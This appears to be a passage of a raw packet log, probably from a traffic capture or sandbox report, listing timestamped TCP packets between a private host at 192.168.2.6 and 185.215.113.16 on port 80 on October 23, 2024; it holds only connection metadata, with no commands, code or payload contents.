Oct 23, 2024 17:51:25.420239925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420252085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420263052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420267105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.420279980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420291901 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.420293093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.420320034 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.447833061 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.447856903 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.447868109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.447915077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.448111057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448138952 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.448185921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448199034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448210955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448230982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448237896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.448245049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448257923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448271036 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448272943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.448272943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.448282957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448297977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448307991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.448321104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.451184988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491518974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491544008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491555929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491568089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491599083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491626978 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491655111 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491682053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491694927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491708994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491727114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491733074 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491739988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491751909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491755009 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491765022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491776943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491776943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491914988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491926908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491938114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.491942883 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.491961956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.492053032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.531069040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531111956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531214952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531244040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.531245947 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531261921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531287909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.531347990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531361103 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531373024 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531420946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.531420946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.531450033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531461954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.531632900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.535605907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535619020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535681009 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535692930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535705090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535707951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.535818100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535837889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535850048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.535851955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535865068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.535875082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.535877943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536010981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536051035 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536128998 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536190987 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536236048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536247015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536258936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536263943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536284924 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536344051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536356926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536367893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536374092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536390066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536451101 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536515951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536526918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536540985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536561966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536573887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536583900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536587954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536632061 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536668062 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536678076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536768913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536781073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536792994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536797047 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536806107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536818027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536875010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536901951 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.536976099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.536999941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537009954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537014961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537049055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537076950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537108898 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537121058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537132025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537141085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537170887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537408113 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537419081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537451029 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537461042 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537527084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537600040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537611961 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537621975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537640095 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537658930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537664890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537664890 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537678957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537692070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537703037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537703991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537717104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537729025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537734032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537741899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537754059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537772894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537772894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537784100 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537791967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537806034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:25.537806988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537832022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.537832022 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:25.586833954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.078912973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.084386110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358756065 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358786106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358798027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358846903 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.358850002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358864069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358877897 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358891010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358906984 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.358911037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358920097 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.358925104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.358946085 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359020948 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359035015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359046936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359060049 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359071016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359090090 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359122038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359144926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359157085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359169006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359184027 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359199047 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359210014 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359234095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359241962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359255075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359280109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359296083 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359334946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359347105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359379053 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.359476089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.359520912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516160965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516180992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516201973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516213894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516226053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516237020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516256094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516254902 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516274929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516288996 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516294003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516304016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516314030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516350031 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516376972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516448021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516542912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516582012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516588926 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516602039 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516634941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516638994 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516649008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516660929 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516671896 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516674995 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516688108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516705036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516730070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516731977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516742945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516756058 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516766071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516788006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516817093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.516834974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516951084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516961098 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516971111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516983032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516993046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.516999960 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517005920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517018080 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517028093 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517060995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517080069 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517090082 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517102957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517127991 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517162085 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517174006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517184019 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517201900 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517215967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517225981 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517225981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517256975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517267942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517330885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517344952 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517374039 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517391920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517404079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517416000 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517426968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.517438889 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.517452955 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.569670916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671061993 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671078920 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671092033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671170950 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671196938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671210051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671225071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671236992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671252012 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671264887 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671281099 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671293020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671304941 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671324015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671329975 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671334982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671335936 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671370983 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671384096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671396971 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671408892 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671422005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671422958 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671435118 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671447992 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671472073 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671816111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671827078 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671845913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671864986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671890020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671900988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671917915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671926975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671931982 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671946049 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671957016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671967030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671969891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671982050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.671983957 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.671999931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672008038 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672013044 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672034025 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672039032 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672045946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672060013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672079086 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672091961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672095060 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672107935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672116041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672121048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672132015 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672152996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672189951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672218084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672229052 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672266006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672316074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672328949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672341108 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672348022 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672384024 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672410965 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672422886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672434092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672446966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:26.672456026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:26.672465086 CEST	80	49763	185.215.113.16	192.168.2.6
